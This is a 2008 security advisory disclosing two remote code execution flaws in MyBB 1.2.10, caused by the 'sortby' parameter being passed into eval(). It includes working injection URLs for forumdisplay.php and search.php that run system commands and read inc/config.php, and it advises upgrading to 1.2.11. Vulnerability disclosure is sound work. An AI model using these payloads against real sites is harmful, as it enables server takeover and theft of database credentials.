[waraxe-2008-SA#061] - Remote Code Execution in MyBB 1.2.10
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Author: Janek Vind "waraxe"
Independent discovery: koziolek
Date: 16. January 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-61.html


Target software description:
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MyBB is a discussion board that has been around for a while; it has evolved
from other bulletin boards into the forum package it is today. Therefore,
it is a professional and efficient discussion board, developed by an active
team of developers.

Vulnerabilities discovered
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1. Remote Code Execution in "forumdisplay.php":
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Precondition: valid forum "fid" must be known.
Attacker doesn't need to have any privileges in mybb installation to be
successful in attack.

Proof-Of-Concept request:

http://localhost/mybb.1.2.10/forumdisplay.php?fid=2&sortby='

... and we will see error message:

Parse error: syntax error, unexpected ''', expecting ']' in
C:\apache_wwwroot\mybb.1.2.10\forumdisplay.php(407) : eval()'d code on line 1

Problematic piece of code is related to "eval()" function:

eval("\$orderarrow['$sortby'] = \"".
$templates->get("forumdisplay_orderarrow")."\";");


Example attacks:

http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
&sortby='];phpinfo();exit;//
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
&sortby='];system('ls');exit;//
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
&sortby='];readfile('inc/config.php');exit;//


2. Remote Code Execution in "search.php":
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: search "sid" must be known - but that's trivial task.
Attacker doesn't need to have any privileges in mybb installation to be
successful in attack.

http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby='

Parse error: syntax error, unexpected ''', expecting ']' in
C:\apache_wwwroot\mybb.1.2.10\search.php(141) : eval()'d code on line 1

Problematic is exactly same piece of code, as in previous case:

eval("\$orderarrow['$sortby'] = \"".
$templates->get("forumdisplay_orderarrow")."\";");

Example attacks:

http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby='];phpinfo();exit;//
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby='];system('ls');exit;//
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby='];readfile('inc/config.php');exit;//

Both remote code execution security holes are very dangerous and can be
used by attacker to complete takeover the website and possible total
compromise of webserver.

How to fix:
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Download MyBB new version 1.2.11 as soon as possible!


Greetings:
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Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb
and anyone else who know me!
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.janekvind.com/
Waraxe forum:  http://www.waraxe.us/forums.html

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